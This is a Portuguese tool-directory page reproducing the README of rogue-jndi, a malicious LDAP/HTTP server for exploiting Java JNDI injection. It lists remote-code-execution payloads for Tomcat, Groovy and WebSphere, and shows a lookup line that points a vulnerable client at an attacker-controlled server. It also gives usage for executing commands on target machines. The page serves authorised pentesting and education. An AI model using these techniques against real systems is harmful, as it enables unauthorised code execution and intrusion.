Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/veracode-research/rogue-jndi
ExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoAprendizado e EducaçãoRed TeamingDesenvolvimento de Payloads
GitHubveracode-research/rogue-jndi

rogue-jndi

Um servidor LDAP malicioso para ataques de injeção JNDI

Ver Repositório
1.1k227há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Rogue JNDI

Um servidor LDAP malicioso para ataques de injeção JNDI.

Descrição

O projeto contém servidores LDAP & HTTP para explorar a API JNDI do Java, que é insegura por padrão.
Para realizar um ataque, você pode iniciar esses servidores localmente e então acionar uma resolução JNDI no cliente vulnerável, por exemplo:

root@kitploit:~
InitialContext.doLookup("ldap://your_server.com:1389/o=reference");

Isso iniciará uma conexão do cliente vulnerável para o servidor LDAP local. Então, o servidor local responde com uma entrada maliciosa contendo um dos payloads, que pode ser útil para alcançar uma Execução Remota de Código.

Motivação

Além dos métodos de ataque JNDI conhecidos (via carregamento remoto de classes em referências), esta ferramenta traz novos vetores de ataque aproveitando o poder das ObjectFactories.

Payloads suportados

  • RemoteReference.java - ataque JNDI clássico, leva a RCE via carregamento remoto de classes, funciona até jdk8u191
  • Tomcat.java - leva a RCE via reflexão insegura em org.apache.naming.factory.BeanFactory
  • Groovy.java - leva a RCE via reflexão insegura em org.apache.naming.factory.BeanFactory + groovy.lang.GroovyShell
  • WebSphere1.java - leva a XXE fora de banda (OOB XXE) em com.ibm.ws.webservices.engine.client.ServiceFactory
  • WebSphere2.java - leva a RCE via manipulação de classpath em com.ibm.ws.client.applicationclient.ClientJ2CCFFactory

Uso

root@kitploit:~
$ java -jar target/RogueJndi-1.0.jar -h
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Usage: java -jar target/RogueJndi-1.0.jar [options]
  Options:
    -c, --command  Command to execute on the target server (default: 
                   /Applications/Calculator.app/Contents/MacOS/Calculator) 
    -n, --hostname Local HTTP server hostname (required for remote 
                   classloading and websphere payloads) (default: 
                   192.168.1.10) 
    -l, --ldapPort Ldap bind port (default: 1389)
    -p, --httpPort Http bind port (default: 8000)
    --wsdl         [websphere1 payload option] WSDL file with XXE payload 
                   (default: /list.wsdl)
    --localjar     [websphere2 payload option] Local jar file to load (this 
                   file should be located on the remote server) (default: 
                   ../../../../../tmp/jar_cache7808167489549525095.tmp) 
    -h, --help     Show this help

Os parâmetros mais importantes são o hostname do servidor LDAP (-n, deve ser acessível a partir do alvo) e o comando que você deseja executar no servidor alvo (-c).

Como alternativa à opção "-c", você pode modificar o arquivo ExportObject.java colocando o código Java que deseja executar no servidor alvo.

Exemplo:

root@kitploit:~
$ java -jar target/RogueJndi-1.1.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2

Compilação

Java v1.7+ e Maven v3+ são necessários

root@kitploit:~
mvn package

Aviso legal

Este software é fornecido exclusivamente para fins educacionais e/ou para testar sistemas nos quais o usuário tem permissão prévia para atacar.

Agradecimentos especiais

  • Alvaro Muñoz e Oleksandr Mirosh pelo excelente whitepaper sobre ataques JNDI
  • @zerothoughts pelo inspirador repositório spring-jndi
  • Moritz Bechler pela eminente pesquisa marshallsec
  • Orange Tsai e Welk1n pelo gadget Apache + Groovy

Links

  • Um artigo sobre Explorando Injeções JNDI em Java no Blog da Veracode
  • Como Eu Hackeei o Facebook Novamente! RCE Não Autenticada no MobileIron MDM

Autores

Michael Stepankin

Baixar ferramenta